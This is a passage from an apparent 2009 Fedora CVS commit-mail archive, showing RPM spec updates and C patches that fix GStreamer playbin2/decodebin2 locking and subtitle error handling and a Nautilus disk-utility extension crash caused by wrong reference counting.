-      DECODE_BIN_DYN_LOCK (dbin);
+      DYN_LOCK (dbin);
       GST_LOG_OBJECT (dbin, "setting shutdown flag");
       dbin->shutdown = TRUE;
       unblock_pads (dbin);
-      DECODE_BIN_DYN_UNLOCK (dbin);
+      DYN_UNLOCK (dbin);
     default:
       break;
   }
@@ -2733,11 +2842,12 @@ gst_decode_bin_change_state (GstElement * element, GstStateChange transition)
   switch (transition) {
     case GST_STATE_CHANGE_PAUSED_TO_READY:
       do_async_done (dbin);
-      gst_decode_bin_remove_groups (dbin);
+      if (dbin->decode_chain) {
+        gst_decode_chain_free (dbin->decode_chain);
+        dbin->decode_chain = NULL;
+      }
       break;
     case GST_STATE_CHANGE_READY_TO_NULL:
-      gst_decode_bin_remove_groups (dbin);
-      break;
     default:
       break;
   }

gstpb-no-subtitle-errors.patch:
 gstplaybin2.c |  112 ++++++++++++++++++++++++++++++++++++++++++++++++++++++----
 1 file changed, 106 insertions(+), 6 deletions(-)

--- NEW FILE gstpb-no-subtitle-errors.patch ---
commit a4bc39ef4836abcf16bd9d451ed89979ff090c0d
Author: Sebastian Dr?ge <sebastian.droege at collabora.co.uk>
Date:   Thu Oct 8 19:55:42 2009 +0200

    playbin2: Don't stop completely on initialization errors from subtitle elements
    
    Instead disable the subtitles and play the other parts of the stream.
    
    Fixes bug #587704.

diff --git a/gst/playback/gstplaybin2.c b/gst/playback/gstplaybin2.c
index b2f41a6..c134036 100644
--- a/gst/playback/gstplaybin2.c
+++ b/gst/playback/gstplaybin2.c
@@ -522,6 +522,10 @@ static GstPad *gst_play_bin_get_text_pad (GstPlayBin * playbin, gint stream);
 
 static gboolean setup_next_source (GstPlayBin * playbin, GstState target);
 
+static void no_more_pads_cb (GstElement * decodebin, GstSourceGroup * group);
+static void pad_removed_cb (GstElement * decodebin, GstPad * pad,
+    GstSourceGroup * group);
+
 static GstElementClass *parent_class;
 
 static guint gst_play_bin_signals[LAST_SIGNAL] = { 0 };
@@ -532,6 +536,12 @@ GST_ELEMENT_DETAILS ("Player Bin 2",
     "Autoplug and play media from an uri",
     "Wim Taymans <wim.taymans at gmail.com>");
 
+#define REMOVE_SIGNAL(obj,id)            \
+if (id) {                                \
+  g_signal_handler_disconnect (obj, id); \
+  id = 0;                                \
+}
+
 static void
 gst_play_marshal_BUFFER__BOXED (GClosure * closure,
     GValue * return_value G_GNUC_UNUSED,
@@ -1800,9 +1810,38 @@ static const gchar *blacklisted_mimes[] = {
   "video/x-dvd-subpicture", "subpicture/x-pgs", NULL
 };
 
+
+/* Returns TRUE if child is object or any parent (transitive)
+ * of child is object */
+static gboolean
+_gst_object_contains_object (GstObject * object, GstObject * child)
+{
+  GstObject *parent, *tmp;
+
+  if (!object || !child)
+    return FALSE;
+
+  parent = gst_object_ref (child);
+  do {
+    if (parent == object) {
+      gst_object_unref (parent);
+      return TRUE;
+    }
+
+    tmp = gst_object_get_parent (parent);
+    gst_object_unref (parent);
+    parent = tmp;
+  } while (parent);
+
+  return FALSE;
+}
+
 static void
 gst_play_bin_handle_message (GstBin * bin, GstMessage * msg)
 {
+  GstPlayBin *playbin = GST_PLAY_BIN (bin);
+  GstSourceGroup *group;
+
   if (gst_is_missing_plugin_message (msg)) {
     gchar *detail;
     guint i;
@@ -1818,6 +1857,73 @@ gst_play_bin_handle_message (GstBin * bin, GstMessage * msg)
     }
     g_free (detail);
   }
+
+  group = playbin->curr_group;
+  /* If we get an error of the subtitle uridecodebin transform
+   * them into warnings and disable the subtitles */
+  if (group && group->pending && group->suburidecodebin) {
+    GstObject *srcparent = gst_object_get_parent (GST_OBJECT_CAST (msg->src));
+
+    if (G_UNLIKELY (_gst_object_contains_object (GST_OBJECT_CAST
+                (group->suburidecodebin), msg->src)
+            && GST_MESSAGE_TYPE (msg) == GST_MESSAGE_ERROR)) {
+      GError *err;
+      gchar *debug = NULL;
+      GstMessage *new_msg;
+      GstIterator *it;
+      gboolean done = FALSE;
+
+      gst_message_parse_error (msg, &err, &debug);
+      new_msg = gst_message_new_warning (msg->src, err, debug);
+
+      gst_message_unref (msg);
+      msg = new_msg;
+
+      REMOVE_SIGNAL (group->suburidecodebin, group->sub_pad_added_id);
+      REMOVE_SIGNAL (group->suburidecodebin, group->sub_pad_removed_id);
+      REMOVE_SIGNAL (group->suburidecodebin, group->sub_no_more_pads_id);
+
+      it = gst_element_iterate_src_pads (group->suburidecodebin);
+      while (it && !done) {
+        GstPad *p = NULL;
+        GstIteratorResult res;
+
+        res = gst_iterator_next (it, (gpointer) & p);
+
+        switch (res) {
+          case GST_ITERATOR_DONE:
+            done = TRUE;
+            break;
+          case GST_ITERATOR_OK:
+            pad_removed_cb (NULL, p, group);
+            gst_object_unref (p);
+            break;
+
+          case GST_ITERATOR_RESYNC:
+            gst_iterator_resync (it);
+            break;
+          case GST_ITERATOR_ERROR:
+            done = TRUE;
+            break;
+        }
+      }
+      if (it)
+        gst_iterator_free (it);
+
+      gst_object_ref (group->suburidecodebin);
+      gst_bin_remove (bin, group->suburidecodebin);
+      gst_element_set_locked_state (group->suburidecodebin, FALSE);
+      gst_element_set_state (group->suburidecodebin, GST_STATE_NULL);
+      gst_object_unref (group->suburidecodebin);
+      group->suburidecodebin = NULL;
+
+      no_more_pads_cb (NULL, group);
+    }
+
+    if (srcparent)
+      gst_object_unref (srcparent);
+  }
+
   GST_BIN_CLASS (parent_class)->handle_message (bin, msg);
 }
 
@@ -2516,12 +2622,6 @@ group_set_locked_state_unlocked (GstPlayBin * playbin, GstSourceGroup * group,
   return TRUE;
 }
 
-#define REMOVE_SIGNAL(obj,id)            \
-if (id) {                                \
-  g_signal_handler_disconnect (obj, id); \
-  id = 0;                                \
-}
-
 /* must be called with PLAY_BIN_LOCK */
 static gboolean
 activate_group (GstPlayBin * playbin, GstSourceGroup * group, GstState target)


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/gstreamer-plugins-base.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- gstreamer-plugins-base.spec	5 Oct 2009 17:06:07 -0000	1.88
+++ gstreamer-plugins-base.spec	13 Oct 2009 15:17:10 -0000	1.89
@@ -3,7 +3,7 @@
 
 Name: 		%{gstreamer}-plugins-base
 Version: 	0.10.25
-Release:  	1%{?dist}
+Release:  	2%{?dist}
 Summary: 	GStreamer streaming media framework base plug-ins
 
 Group: 		Applications/Multimedia
@@ -33,6 +33,11 @@ BuildRequires:  gtk2-devel
 BuildRequires:  pkgconfig
 Obsoletes:	gstreamer-plugins
 
+# https://bugzilla.gnome.org/show_bug.cgi?id=587704
+Patch0:		gstpb-no-subtitle-errors.patch
+# https://bugzilla.gnome.org/show_bug.cgi?id=591677
+Patch1:		gstpb-fix-missing-plugins.patch
+
 # documentation
 BuildRequires:  gtk-doc >= 1.3
 BuildRequires:  PyXML
@@ -49,6 +54,8 @@ This package contains a set of well-main
 
 %prep
 %setup -q -n gst-plugins-base-%{version}
+%patch0 -p1 -b .subtitle-errors
+%patch1 -p1 -b .missing-plugins
 
 %build
 %configure \
@@ -244,6 +251,9 @@ GStreamer Base Plugins library developme
 %doc %{_datadir}/gtk-doc/html/gst-plugins-base-plugins-%{majorminor}
 
 %changelog
+* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
+- Add patches to fix some playbin2 bugs (#518880)
+
 * Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
 - Update to 0.10.25
 



From tbzatek at fedoraproject.org  Tue Oct 13 15:28:31 2009
From: tbzatek at fedoraproject.org (Tomas Bzatek)
Date: Tue, 13 Oct 2009 15:28:31 +0000 (UTC)
Subject: rpms/gnome-disk-utility/F-12
	gdu-2.28.1-nautilus-extension-fix-refs.patch, NONE,
	1.1 gnome-disk-utility.spec, 1.24, 1.25
Message-ID: <20091013152831.869C911C00E8@cvs1.fedora.phx.redhat.com>

Author: tbzatek

Update of /cvs/extras/rpms/gnome-disk-utility/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1478

Modified Files:
	gnome-disk-utility.spec 
Added Files:
	gdu-2.28.1-nautilus-extension-fix-refs.patch 
Log Message:
* Tue Oct 13 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.0-5%{?dist}
- Fix nautilus crashes by proper object referencing


gdu-2.28.1-nautilus-extension-fix-refs.patch:
 nautilus-gdu.c |    5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

--- NEW FILE gdu-2.28.1-nautilus-extension-fix-refs.patch ---
>From e25d8ca00ce85fcf2552fa08aa3a369e4ef012d6 Mon Sep 17 00:00:00 2001
From: Tomas Bzatek <tbzatek at redhat.com>
Date: Tue, 13 Oct 2009 15:59:03 +0200
Subject: [PATCH] Nautilus extension: ref and unref objects correctly

Save reference to device as long as the menu item lives.
This caused random Nautilus crashes on device removal.
---
 src/nautilus-extension/nautilus-gdu.c |    4 ++--
 1 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/src/nautilus-extension/nautilus-gdu.c b/src/nautilus-extension/nautilus-gdu.c
index afbf6b8..417f3ad 100644
--- a/src/nautilus-extension/nautilus-gdu.c
+++ b/src/nautilus-extension/nautilus-gdu.c
@@ -225,8 +225,8 @@ nautilus_gdu_get_file_items (NautilusMenuProvider *provider,
                                        "nautilus-gdu");
         g_object_set_data_full (G_OBJECT (item),
                                 "gdu-device",
-                                device,
-                                (GDestroyNotify) g_object_ref);
+                                g_object_ref (device),
+                                (GDestroyNotify) g_object_unref);
         g_object_set_data_full (G_OBJECT (item),
                                 "nautilus-file",
                                 g_object_ref (nautilus_file),
-- 
1.6.5.rc2



Index: gnome-disk-utility.spec
===================================================================
RCS file: /cvs/extras/rpms/gnome-disk-utility/F-12/gnome-disk-utility.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- gnome-disk-utility.spec	5 Oct 2009 17:14:57 -0000	1.24
+++ gnome-disk-utility.spec	13 Oct 2009 15:28:29 -0000	1.25
@@ -13,7 +13,7 @@
 Summary: Disk management application
 Name: gnome-disk-utility
 Version: 2.28.0
-Release: 4%{?dist}
+Release: 5%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://git.gnome.org/cgit/gnome-disk-utility
@@ -45,6 +45,7 @@ Patch1: 0001-Use-stock-delete-and-apply-
 Patch2: 0002-Fix-library-translations.patch
 Patch3: 0003-Use-translated-string-for-button-label.patch
 Patch4: 0004-Translate-file-system-types.patch
+Patch5: gdu-2.28.1-nautilus-extension-fix-refs.patch
 
 %description
 This package contains the Palimpsest disk management application.
@@ -104,6 +105,7 @@ develop applications with gnome-disk-uti
 %patch2 -p1 -b fix-library-translations
 %patch3 -p1 -b use-translated-string-for-button-label
 %patch4 -p1 -b translate-file-system-types
+%patch5 -p1 -b .nautilus-ext-ref-fixes
 
 %build
 %configure
@@ -220,6 +222,9 @@ fi
 %{_includedir}/gnome-disk-utility/gdu-gtk/*
 
 %changelog
+* Tue Oct 13 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.0-5%{?dist}
+- Fix nautilus crashes by proper object referencing
+
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-4%{?dist}
 - Incorporate fixes for translation issues from the stable upstream branch
 



From hadess at fedoraproject.org  Tue Oct 13 15:31:11 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 13 Oct 2009 15:31:11 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/F-12 gstpb-fix-missing-plugins.patch,
	1.1, 1.2
Message-ID: <20091013153111.C684011C0267@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2572

Modified Files:
	gstpb-fix-missing-plugins.patch 
Log Message:
Fix missing plugins patch

gstpb-fix-missing-plugins.patch:
 b/gst/playback/gstdecodebin2.c   |   13 
 b/gst/playback/gstfactorylists.c |   10 
 b/gst/playback/gsturidecodebin.c |    7 
 gst/playback/gstdecodebin2.c     | 1851 ++++++++++++++++++++-------------------
 4 files changed, 997 insertions(+), 884 deletions(-)

Index: gstpb-fix-missing-plugins.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/F-12/gstpb-fix-missing-plugins.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- gstpb-fix-missing-plugins.patch	13 Oct 2009 15:17:09 -0000	1.1
+++ gstpb-fix-missing-plugins.patch	13 Oct 2009 15:31:10 -0000	1.2
@@ -1,17 +1,213 @@
-commit cf9c6a2271ad35e422c8fba6af842e3ea309d82d
-Author: Sebastian Dr?ge <sebastian.droege at collabora.co.uk>
-Date:   Sat Sep 26 12:17:49 2009 +0200
-
-    decodebin2: Rewrite autoplugging and how groups of pads are exposed
-    
-    This now keeps track of everything that is going on, creates
-    a tree of chains and groups to allow "demuxer after demuxer" scenarios
-    and allows chained Oggs with multiple streams (needs oggdemux or playbin2 fixes).
-    
-    Also document everything in detail and give a general overview of what
-    decodebin2 is doing at the top of the sources.
-    
-    Fixes bug #596183, #563828 and #591677.
+From 881e4aa606ac184e4da485a88066ff30e88fc5cd Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Sat, 26 Sep 2009 12:04:55 +0200
+Subject: [PATCH 1/7] decodebin2: Only use the object lock for protecting the subtitle elements
+
+Using the decodebin lock will result in deadlocks if the subtitle encoding
+is accessed from a pad-added handler.
+---
+ gst/playback/gstdecodebin2.c |   12 +++++-------
+ 1 files changed, 5 insertions(+), 7 deletions(-)
+
+diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
+index 3b60ae9..1ad7968 100644
+--- a/gst/playback/gstdecodebin2.c
++++ b/gst/playback/gstdecodebin2.c
+@@ -857,18 +857,16 @@ gst_decode_bin_set_subs_encoding (GstDecodeBin * dbin, const gchar * encoding)
+ 
+   GST_DEBUG_OBJECT (dbin, "Setting new encoding: %s", GST_STR_NULL (encoding));
+ 
+-  DECODE_BIN_LOCK (dbin);
+   GST_OBJECT_LOCK (dbin);
+   g_free (dbin->encoding);
+   dbin->encoding = g_strdup (encoding);
+-  GST_OBJECT_UNLOCK (dbin);
+ 
+   /* set the subtitle encoding on all added elements */
+   for (walk = dbin->subtitles; walk; walk = g_list_next (walk)) {
+     g_object_set (G_OBJECT (walk->data), "subtitle-encoding", dbin->encoding,
+         NULL);
+   }
+-  DECODE_BIN_UNLOCK (dbin);
++  GST_OBJECT_UNLOCK (dbin);
+ }
+ 
+ static gchar *
+@@ -1319,11 +1317,11 @@ connect_pad (GstDecodeBin * dbin, GstElement * src, GstDecodePad * dpad,
+       continue;
+     }
+     if (subtitle) {
+-      DECODE_BIN_LOCK (dbin);
++      GST_OBJECT_LOCK (dbin);
+       /* we added the element now, add it to the list of subtitle-encoding
+        * elements when we can set the property */
+       dbin->subtitles = g_list_prepend (dbin->subtitles, element);
+-      DECODE_BIN_UNLOCK (dbin);
++      GST_OBJECT_UNLOCK (dbin);
+     }
+ 
+     res = TRUE;
+@@ -2364,10 +2362,10 @@ restart:
+ 
+ done:
+   gst_element_set_state (element, GST_STATE_NULL);
+-  DECODE_BIN_LOCK (dbin);
++  GST_OBJECT_LOCK (dbin);
+   /* remove possible subtitle element */
+   dbin->subtitles = g_list_remove (dbin->subtitles, element);
+-  DECODE_BIN_UNLOCK (dbin);
++  GST_OBJECT_UNLOCK (dbin);
+   gst_bin_remove (GST_BIN (dbin), element);
+ 
+ beach:
+-- 
+1.6.4.3
+
+From a7fe6e683ae91caa9445d899964553a2610fba17 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Sat, 26 Sep 2009 12:10:21 +0200
+Subject: [PATCH 2/7] decodebin2: Don't set the external ghostpads blocked but only their targets
+
+Pad blocks should never be done on external pads as outside elements
+might want to use their own pad blocks on them and this will lead to
+conflicts and deadlocks.
+---
+ gst/playback/gstdecodebin2.c |   23 ++++++++++++++++++-----
+ 1 files changed, 18 insertions(+), 5 deletions(-)
+
+diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
+index 1ad7968..24e251b 100644
+--- a/gst/playback/gstdecodebin2.c
++++ b/gst/playback/gstdecodebin2.c
+@@ -2484,7 +2484,7 @@ gst_decode_pad_init (GstDecodePad * pad)
+ }
+ 
+ static void
+-source_pad_blocked_cb (GstDecodePad * dpad, gboolean blocked, gpointer unused)
++source_pad_blocked_cb (GstPad * opad, gboolean blocked, GstDecodePad * dpad)
+ {
+   GstDecodeGroup *group;
+   GstDecodeBin *dbin;
+@@ -2531,10 +2531,16 @@ static void
+ gst_decode_pad_set_blocked (GstDecodePad * dpad, gboolean blocked)
+ {
+   GstDecodeBin *dbin = dpad->dbin;
++  GstPad *opad;
+ 
+   DECODE_BIN_DYN_LOCK (dbin);
+-  gst_pad_set_blocked_async (GST_PAD (dpad), blocked,
+-      (GstPadBlockCallback) source_pad_blocked_cb, NULL);
++  opad = gst_ghost_pad_get_target (GST_GHOST_PAD_CAST (dpad));
++  if (!opad)
++    goto out;
++
++  gst_pad_set_blocked_async_full (opad, blocked,
++      (GstPadBlockCallback) source_pad_blocked_cb, gst_object_ref (dpad),
++      (GDestroyNotify) gst_object_unref);
+   if (blocked) {
+     if (dbin->shutdown) {
+       /* deactivate to force flushing state to prevent NOT_LINKED errors */
+@@ -2548,6 +2554,8 @@ gst_decode_pad_set_blocked (GstDecodePad * dpad, gboolean blocked)
+       gst_object_unref (dpad);
+     dbin->blocked_pads = g_list_remove (dbin->blocked_pads, dpad);
+   }
++  gst_object_unref (opad);
++out:
+   DECODE_BIN_DYN_UNLOCK (dbin);
+ }
+ 
+@@ -2659,15 +2667,20 @@ unblock_pads (GstDecodeBin * dbin)
+ 
+   for (tmp = dbin->blocked_pads; tmp; tmp = next) {
+     GstDecodePad *dpad = (GstDecodePad *) tmp->data;
++    GstPad *opad = gst_ghost_pad_get_target (GST_GHOST_PAD_CAST (dpad));
+ 
+     next = g_list_next (tmp);
++    if (!opad)
++      continue;
+ 
+     GST_DEBUG_OBJECT (dpad, "unblocking");
+-    gst_pad_set_blocked_async (GST_PAD (dpad), FALSE,
+-        (GstPadBlockCallback) source_pad_blocked_cb, NULL);
++    gst_pad_set_blocked_async_full (opad, FALSE,
++        (GstPadBlockCallback) source_pad_blocked_cb, gst_object_ref (dpad),
++        (GDestroyNotify) gst_object_unref);
+     /* make flushing, prevent NOT_LINKED */
+     GST_PAD_SET_FLUSHING (GST_PAD (dpad));
+     gst_object_unref (dpad);
++    gst_object_unref (opad);
+     GST_DEBUG_OBJECT (dpad, "unblocked");
+   }
+ 
+-- 
+1.6.4.3
+
+From 10cb19bcda3082435d57518666076a69e51a1bba Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Thu, 24 Sep 2009 16:05:58 +0200
+Subject: [PATCH 3/7] factorylist: Use gst_caps_can_intersect() instead of _intersect()
+
+This is faster and results in less allocations.
+---
+ gst/playback/gstfactorylists.c |    9 +++------
+ 1 files changed, 3 insertions(+), 6 deletions(-)
+
+diff --git a/gst/playback/gstfactorylists.c b/gst/playback/gstfactorylists.c
+index 7099927..df1916f 100644
+--- a/gst/playback/gstfactorylists.c
++++ b/gst/playback/gstfactorylists.c
+@@ -240,7 +240,6 @@ gst_factory_list_filter (GValueArray * array, const GstCaps * caps)
+ 
+       /* we only care about the sink templates */
+       if (templ->direction == GST_PAD_SINK) {
+-        GstCaps *intersect;
+         GstCaps *tmpl_caps;
+ 
+         /* try to intersect the caps with the caps of the template */
+@@ -248,21 +247,19 @@ gst_factory_list_filter (GValueArray * array, const GstCaps * caps)
+ 
+         /* FIXME, intersect is not the right method, we ideally want to check
+          * for a subset here */
+-        intersect = gst_caps_intersect (caps, tmpl_caps);
+-        gst_caps_unref (tmpl_caps);
+ 
+         /* check if the intersection is empty */
+-        if (!gst_caps_is_empty (intersect)) {
++        if (gst_caps_can_intersect (caps, tmpl_caps)) {
+           /* non empty intersection, we can use this element */
+           GValue resval = { 0, };
+           g_value_init (&resval, G_TYPE_OBJECT);
+           g_value_set_object (&resval, factory);
+           g_value_array_append (result, &resval);
+           g_value_unset (&resval);
+-          gst_caps_unref (intersect);
++          gst_caps_unref (tmpl_caps);
+           break;
+         }
+-        gst_caps_unref (intersect);
++        gst_caps_unref (tmpl_caps);
+       }
+     }
+   }
+-- 
+1.6.4.3
+
+From 39bc12ee20437b352a13361ba48dcc886fce35a2 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Sat, 26 Sep 2009 12:17:49 +0200
+Subject: [PATCH 4/7] decodebin2: Rewrite autoplugging and how groups of pads are exposed
+
+This now keeps track of everything that is going on, creates
+a tree of chains and groups to allow "demuxer after demuxer" scenarios
+and allows chained Oggs with multiple streams (needs oggdemux or playbin2 fixes).
+
+Also document everything in detail and give a general overview of what
+decodebin2 is doing at the top of the sources.
+
+Fixes bug #596183, #563828 and #591677.
+---
+ gst/playback/gstdecodebin2.c | 1782 ++++++++++++++++++++++--------------------
+ 1 files changed, 946 insertions(+), 836 deletions(-)
 
 diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
 index 24e251b..1d6c9d2 100644
@@ -2487,3 +2683,171 @@ index 24e251b..1d6c9d2 100644
      default:
        break;
    }
+-- 
+1.6.4.3
+
+From 5ee4ee1682cff7ca44897fec0dcee6374cd6636d Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Thu, 24 Sep 2009 14:56:48 +0200
+Subject: [PATCH 5/7] uridecodebin: Don't post missing plugin messages twice
+
+decodebin2 already posts them after emitting the unknown-type signal,
+there's no need to post another one.
+---
+ gst/playback/gsturidecodebin.c |    6 ------
+ 1 files changed, 0 insertions(+), 6 deletions(-)
+
+diff --git a/gst/playback/gsturidecodebin.c b/gst/playback/gsturidecodebin.c
+index 0e0bb74..6420414 100644
+--- a/gst/playback/gsturidecodebin.c
++++ b/gst/playback/gsturidecodebin.c
+@@ -33,8 +33,6 @@
+ #include <gst/gst.h>
+ #include <gst/gst-i18n-plugin.h>
+ 
+-#include <gst/pbutils/missing-plugins.h>
+-
+ #include "gstfactorylists.h"
+ #include "gstplay-marshal.h"
+ #include "gstplay-enum.h"
+@@ -622,12 +620,8 @@ static void
+ unknown_type_cb (GstElement * element, GstPad * pad, GstCaps * caps,
+     GstURIDecodeBin * decoder)
+ {
+-  GstMessage *msg;
+   gchar *capsstr;
+ 
+-  msg = gst_missing_decoder_message_new (GST_ELEMENT_CAST (decoder), caps);
+-  gst_element_post_message (GST_ELEMENT_CAST (decoder), msg);
+-
+   capsstr = gst_caps_to_string (caps);
+   GST_ELEMENT_WARNING (decoder, CORE, MISSING_PLUGIN,
+       (_("No decoder available for type \'%s\'."), capsstr), (NULL));
+-- 
+1.6.4.3
+
+From 4a7f2e6c102eeefa7da8e7c9c2eec3c0019bba01 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Sat, 26 Sep 2009 12:47:53 +0200
+Subject: [PATCH 6/7] decodebin2: Use the iterate internal links function instead of string magic to get multiqueue srcpads
+
+---
+ gst/playback/gstdecodebin2.c |   31 +++++++++++++++++--------------
+ 1 files changed, 17 insertions(+), 14 deletions(-)
+
+diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
+index 1d6c9d2..4fe62b4 100644
+--- a/gst/playback/gstdecodebin2.c
++++ b/gst/playback/gstdecodebin2.c
+@@ -2108,7 +2108,7 @@ gst_decode_group_control_demuxer_pad (GstDecodeGroup * group, GstPad * pad)
+ {
+   GstDecodeBin *dbin;
+   GstPad *srcpad, *sinkpad;
+-  gchar *nb, *sinkname, *srcname;
++  GstIterator *it = NULL;
+ 
+   dbin = group->dbin;
+ 
+@@ -2126,29 +2126,32 @@ gst_decode_group_control_demuxer_pad (GstDecodeGroup * group, GstPad * pad)
+ 
+   if ((gst_pad_link (pad, sinkpad) != GST_PAD_LINK_OK)) {
+     GST_ERROR_OBJECT (dbin, "Couldn't link demuxer and multiqueue");
+-    goto beach;
++    goto error;
+   }
+ 
+-  CHAIN_MUTEX_LOCK (group->parent);
+-  group->reqpads = g_list_prepend (group->reqpads, gst_object_ref (sinkpad));
+-
+-  sinkname = gst_pad_get_name (sinkpad);
+-  nb = sinkname + 4;
+-  srcname = g_strdup_printf ("src%s", nb);
+-  g_free (sinkname);
++  it = gst_pad_iterate_internal_links (sinkpad);
+ 
+-  if (!(srcpad = gst_element_get_static_pad (group->multiqueue, srcname))) {
+-    GST_ERROR_OBJECT (dbin, "Couldn't get srcpad %s from multiqueue", srcname);
+-    goto chiringuito;
++  if (!it || (gst_iterator_next (it, (gpointer *) & srcpad)) != GST_ITERATOR_OK
++      || srcpad == NULL) {
++    GST_ERROR_OBJECT (dbin,
++        "Couldn't get srcpad from multiqueue for sinkpad %" GST_PTR_FORMAT,
++        sinkpad);
++    goto error;
+   }
+ 
+-chiringuito:
+-  g_free (srcname);
++  CHAIN_MUTEX_LOCK (group->parent);
++  group->reqpads = g_list_prepend (group->reqpads, gst_object_ref (sinkpad));
+   CHAIN_MUTEX_UNLOCK (group->parent);
+ 
+ beach:
++  if (it)
++    gst_iterator_free (it);
+   gst_object_unref (sinkpad);
+   return srcpad;
++
++error:
++  gst_element_release_request_pad (group->multiqueue, sinkpad);
++  goto beach;
+ }
+ 
+ /* gst_decode_group_is_complete:
+-- 
+1.6.4.3
+
+From 68cef57e9260265229d194f1309cdffd654c95b6 Mon Sep 17 00:00:00 2001
+From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
+Date: Sat, 26 Sep 2009 12:56:36 +0200
+Subject: [PATCH 7/7] decodebin2: Chains with an exposed endpad are complete too
+
+This allows partial group changes, i.e. demuxer2 in the example below
+goes EOS but has a next group and audio2 stays the same.
+
+          /-- >demuxer2---->video
+demuxer---             \--->audio1
+          \--->audio2
+---
+ gst/playback/gstdecodebin2.c |   11 ++++++++---
+ 1 files changed, 8 insertions(+), 3 deletions(-)
+
+diff --git a/gst/playback/gstdecodebin2.c b/gst/playback/gstdecodebin2.c
+index 4fe62b4..60dbf57 100644
+--- a/gst/playback/gstdecodebin2.c
++++ b/gst/playback/gstdecodebin2.c
+@@ -2191,7 +2191,7 @@ out:
+  *
+  * Returns TRUE if the chain is complete, this means either
+  * a) This chain is a dead end, i.e. we have no suitable plugins
+- * b) This chain ends in an endpad and this is blocked
++ * b) This chain ends in an endpad and this is blocked or exposed
+  *
+  * Not MT-safe, always call with decodebin expose lock
+  */
+@@ -2200,7 +2200,12 @@ gst_decode_chain_is_complete (GstDecodeChain * chain)
+ {
+   gboolean complete = FALSE;
+ 
+-  if (chain->deadend || (chain->endpad && chain->endpad->blocked)) {
++  if (chain->deadend) {
++    complete = TRUE;
++    goto out;
++  }
++
++  if (chain->endpad && (chain->endpad->blocked || chain->endpad->exposed)) {
+     complete = TRUE;
+     goto out;
+   }
+@@ -2543,7 +2548,7 @@ gst_decode_chain_expose (GstDecodeChain * chain, GList ** endpads)
+     return TRUE;
+ 
+   if (chain->endpad) {
+-    if (!chain->endpad->blocked)
++    if (!chain->endpad->blocked && !chain->endpad->exposed)
+       return FALSE;
+     *endpads = g_list_prepend (*endpads, gst_object_ref (chain->endpad));
+     return TRUE;
+-- 
+1.6.4.3
+



From hadess at fedoraproject.org  Tue Oct 13 15:32:49 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Tue, 13 Oct 2009 15:32:49 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel gstpb-fix-missing-plugins.patch, 
	NONE, 1.1 gstpb-no-subtitle-errors.patch, NONE,
	1.1 gstreamer-plugins-base.spec, 1.92, 1.93
Message-ID: <20091013153249.87FB411C00E8@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3303

Modified Files:
	gstreamer-plugins-base.spec 
Added Files:
	gstpb-fix-missing-plugins.patch gstpb-no-subtitle-errors.patch 
Log Message:
* Tue Oct 13 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-2
- Add patches to fix some playbin2 bugs (#518880)


gstpb-fix-missing-plugins.patch:
 b/gst/playback/gstdecodebin2.c   |   13 
 b/gst/playback/gstfactorylists.c |   10 
 b/gst/playback/gsturidecodebin.c |    7 
 gst/playback/gstdecodebin2.c     | 1851 ++++++++++++++++++++-------------------
 4 files changed, 997 insertions(+), 884 deletions(-)

--- NEW FILE gstpb-fix-missing-plugins.patch ---
>From 881e4aa606ac184e4da485a88066ff30e88fc5cd Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Sebastian=20Dr=C3=B6ge?= <sebastian.droege at collabora.co.uk>
Date: Sat, 26 Sep 2009 12:04:55 +0200
Subject: [PATCH 1/7] decodebin2: Only use the object lock for protecting the subtitle elements

Using the decodebin lock will result in deadlocks if the subtitle encoding
is accessed from a pad-added handler.
---
 gst/playback/gstdecodebin2.c |   12 +++++-------
